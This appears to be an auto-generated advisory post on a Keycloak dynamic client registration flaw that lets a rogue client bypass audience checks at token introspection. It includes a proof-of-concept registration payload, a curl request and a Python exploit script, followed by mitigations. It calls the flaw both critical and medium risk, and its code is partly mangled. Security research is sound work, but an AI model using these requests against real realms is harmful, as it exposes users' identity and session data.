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CVE-2026-105306 represents a critical security flaw located within the Dynamic Client Registration flow of Keycloak.
The mechanism is designed to allow automated onboarding of client applications using a secure Initial Access Token.
However, during the client creation process, the server fails to filter security-sensitive client attributes properly.
When an attacker submits a specially crafted registration payload containing unauthorized attribute modifications, Keycloak accepts them.
These unfiltered attributes modify how client permissions and security boundaries are enforced during runtime operations.
Specifically, the flaw allows a newly registered malicious client to completely bypass audience validation checks.
Token introspection is a fundamental OIDC mechanism used to verify whether an access token belongs to a specific recipient.
Normally, Keycloak inspects the target audience claim to ensure tokens cannot be cross-applied across different services.
Because the dynamic registration lacks attribute sanitation, the malicious client circumvents this validation gate entirely.
An attacker possessing an initial access token can register this client and acquire tokens for probing purposes.
They can then capture an access token belonging to a completely separate application operating inside the same realm.
By submitting this victim token to the introspection endpoint using the manipulated client, the audience check is skipped.
Consequently, the introspection endpoint returns comprehensive identity information, assigned user roles, and session details.
This unauthorized disclosure affects confidentiality across all applications sharing the realm infrastructure.
The vulnerability underscores systemic risks in automated client provisioning pathways where inputs lack strict validation.
Remediating this issue requires enforcing strict attribute whitelisting during the client registration phase.
Administrators must also audit existing clients to ensure no unauthorized configuration flags persist in the database.
Without proper validation, attackers can exploit registration logic to escalate information gathering capabilities silently.
The defect bridges separate security contexts by abusing the trust placed in the token introspection subsystem.
Thus, securing the dynamic client registration flow is paramount for maintaining multi-tenant integrity in Keycloak deployments.
Keycloak deployments rely heavily on strict token validation to maintain application isolation boundaries.
When those boundaries fail due to missing authorization checks, attackers gain unauthorized visibility into user sessions.
The vulnerability does not allow direct modification or deletion of data, limiting its direct technical impact.
Nevertheless, the leak of session details and roles poses significant risks for privilege mapping and subsequent attacks.
Security teams must treat dynamic client registration endpoints as high-risk surfaces requiring stringent access controls.
Monitoring client creation events closely helps detect abnormal attribute patterns indicative of potential exploitation attempts.
Ultimately, fixing this vulnerability prevents cross-application token abuse and restores proper authorization guarantees.
DailyCVE Form:
Platform: Red Hat Keycloak
Version: Prior versions affected
Vulnerability: Missing Authorization Flaw
Severity: Medium Risk Level
date: October 2026
Prediction: Patching coming soon
What Undercode Say
Clone the repository reference
git clone https://github.com/Dungsocool/CVE-2026-105306
cd CVE-2026-105306
Inspect client registration configuration payload
cat <<EOF > payload.json
{
"client_id": "malicious-client",
"redirect_uris": ["http://localhost:8080/"],
"attributes": {
"bypass-audience-check": "true"
}
}
EOF
Send request to dynamic client registration endpoint using Initial Access Token
curl -X POST -H "Authorization: Bearer <INITIAL_ACCESS_TOKEN>" \
-H "Content-Type: application/json" \
-d @payload.json \
https://auth.target.com/realms/master/clients-registrations/default
Exploit: (Educational Purposes!)
import requests
def exploit_introspection_bypass():
url = "https://auth.target.com/realms/master/protocol/openid-connect/token/introspection"
headers = {
"Authorization": "Bearer <MALICIOUS_CLIENT_TOKEN>",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"token": "<VICTIM_ACCESS_TOKEN>"
}
response = requests.post(url, headers=headers, data=data)
print("Introspection Response:", response.json())
if <strong>name</strong> == "<strong>main</strong>":
exploit_introspection_bypass()
Protection: from this CVE
Restrict and tightly monitor the issuance of Initial Access Tokens to trusted administrative entities only.
Audit existing registered clients within Keycloak realms to detect unauthorized or anomalous client attributes.
Apply official patches and security updates provided by Red Hat as soon as they become available.
Implement strict network segmentation and API gateway rate-limiting to curb automated client registration abuse.
Impact:
Full exposure of sensitive user identity attributes, roles, and session metadata across applications within the same realm.
Violation of enterprise data confidentiality and multi-tenant separation principles.
Potential downstream compromise of connected services relying on Keycloak token validation integrity.
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Sources:
Reported By: github.com
Extra Source Hub:
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